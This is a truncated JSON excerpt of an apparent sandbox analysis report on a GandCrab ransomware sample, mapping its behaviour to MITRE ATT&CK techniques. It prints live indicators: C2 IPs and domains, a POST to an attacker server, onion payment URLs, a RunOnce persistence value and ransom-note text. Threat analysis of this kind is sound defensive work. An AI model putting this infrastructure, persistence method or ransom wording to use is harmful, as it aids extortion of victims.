snapshot"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Read windows product name from registry"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Detected NSLOOKUP utility activity"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"malicious","value":"Found a reference to an external IP address lookup service"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Calls an API typically used to create a HTTP or FTP session"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Shows ability to use asymmetric encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 63159-1036-00406F43\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00015798-00003096-4601-12-00402EBF\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00015798-00003096-4601-33-004067E8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00015798-00003096-4601-565-00406F43","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00015798-00003096-4601-250-00407C6A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00015798-00003096-1618-28-00406186","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00015798-00003096-1618-13-00402ED1\n GetProcessHeap@KERNEL32.DLL at 00015798-00003096-1618-8-004048B8\n GetProcessHeap@KERNEL32.DLL at 00015798-00003096-1618-33-00403466","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$22","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"\" queries volume information of \"C:\\\" at 00015798-00003096-0000010C-47190968\n \"\" queries volume information of \"C:\\\" at 00015798-00003096-0000010C-48600279\n \"\" queries volume information of \"C:\\\" at 00015798-00003096-0000010C-48927696","origin":"API Call","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ipv4bot.whatismyipaddress.com\"\n \"a.dnspod.com\"\n \"gandcrab.bit\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"66.171.248.178:80\"\n \"101.226.79.205:53\"\n \"78.155.206.6:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\GDCB-DECRYPT.txt\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\firefox browser\"\n \"RasPbFile\"\n \"firefox browser\"\n \"Local\\!IETld!Mutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Global\\pc_group=WORKGROUP&ransom_id=6c6a47a5c33fdc78\"\n \"Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Local\\c:!users!uxbpzwd!appdata!roaming!microsoft!windows!ietldcache!\"\n \"Local\\WininetStartupMutex\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\_!MSFTHISTORY!_\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\c:!users!uxbpzwd!appdata!roaming!microsoft!windows!cookies!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=6c6a47a5c33fdc78\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36Host: ipv4bot.whatismyipaddress.comCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"nslookup.exe\" with commandline \"nslookup gandcrab.bit a.dnspod.com\" (UID: 00017880-00003568)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"GetUserNameW@ADVAPI32.DLL at 00015798-00003096-1618-28-00406186","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"UserCache.bin\" has type \"data\"\n \"StructuredQuerySchema.bin\" has type \"data\"\n \"apaluj.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"www.ebay[1].xml\" has type \"data\"\n \"pspubws@shopping.udn[1].txt\" has type \"data\"\n \"HokZm0_2HRA[1].htm\" has type \"data\"\n \"iframe[3].htm\" has type \"data\"\n \"M2_28_113715_03[1].png\" has type \"data\"\n \"www.allocine[1].xml\" has type \"data\"\n \"GDCB-DECRYPT.txt\" has type \"Little-endian UTF-16 Unicode text with CRLF CR line terminators\"\n \"push[3].htm\" has type \"data\"\n \"sourceforge[1].xml\" has type \"data\"\n \"www.girlsgogames[1].xml\" has type \"data\"\n \"respond-proxy[1].htm\" has type \"data\"\n \"amazon_cn[1].htm\" has type \"data\"\n \"pspubws@filefreak[1].txt\" has type \"data\"\n \"www.doctissimo[1].xml\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$23","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"ipv4bot.whatismyipaddress.com\"\n Heuristic match: \"a.dnspod.com\"\n Heuristic match: \"t.whatismyipaddress.com\"\n Pattern match: \"https://www.torproject.org/\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.plus/6c6a47a5c33fdc78\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion/6c6a47a5c33fdc78\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.top/6c6a47a5c33fdc78\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.casa/6c6a47a5c33fdc78\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.guide/6c6a47a5c33fdc78\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.rip/6c6a47a5c33fdc78\"\n Heuristic match: \"nslookup gandcrab.bit a.dnspod.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"apaluj.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc\n .rsrc with unusual entropies 7.78713464013\n 7.78713464013","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00015798-00003096-1618-132-00407E00","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"$24","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"nslookup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET CURRENT_EVENTS DNS Query Domain .bit\" (SID: 2017645, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\" (Phishing, Exploit Kits)","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/66 reputation engines marked \"http://a.dnspod.com\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /curl.php?token=1019 HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36Host: 78.155.206.6Content-Length: 5897Cache-Control: no-cache\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 101.226.79.205\"","origin":"Network Traffic","relevance":7,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"apaluj.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"LBQBQYDOOMQ\"; Value: \"\"%APPDATA%\\Microsoft\\apaluj.exe\"\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"HTTP/1.1 200 OKCache-Control: privateContent-Type: text/htmlServer: Date: Fri, 26 Jan 2018 07:01:54 GMTConnection: closeContent-Length: 13193.70.47.200\"\n \"78.155.206.6\"\n \"127.0.0.1\"\n \"193.70.47.200\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00015798-00003096-1618-19-00406DAB","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"---= GANDCRAB =---Attention!All your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB The only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.The server with your key is in a closed network TOR. You can get there by the following ways:1. Download Tor browser - https://www.torproject.org/2. Install Tor browser3. Open Tor Browser4. Open link in tor browser: http://gdcbghvj\" (Source: 00015798-00003096.00000001.19294.00400000.00000040.mdmp, Indicator: \"files are encrypted\")\n \"All your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB\" (Source: GDCB-DECRYPT.txt, Indicator: \"files are encrypted\")","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 2000 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"\" had access to \"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat\" (Type: \"FileHandle\")","origin":"Touched Handle","relevance":7,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00015798-00003096-1618-50-004040B0\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00015798-00003096-1618-32-00406794","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45.exe\" marked \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\ipv4bot_whatismyipaddress_com[1].htm\" for deletion\n \"C:\\643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45.exe\" marked \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\curl[1].htm\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\ipv4bot_whatismyipaddress_com[1].htm\" with delete access\n \"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\curl[1].htm\" with delete access\n \"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" with delete access\n \"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry 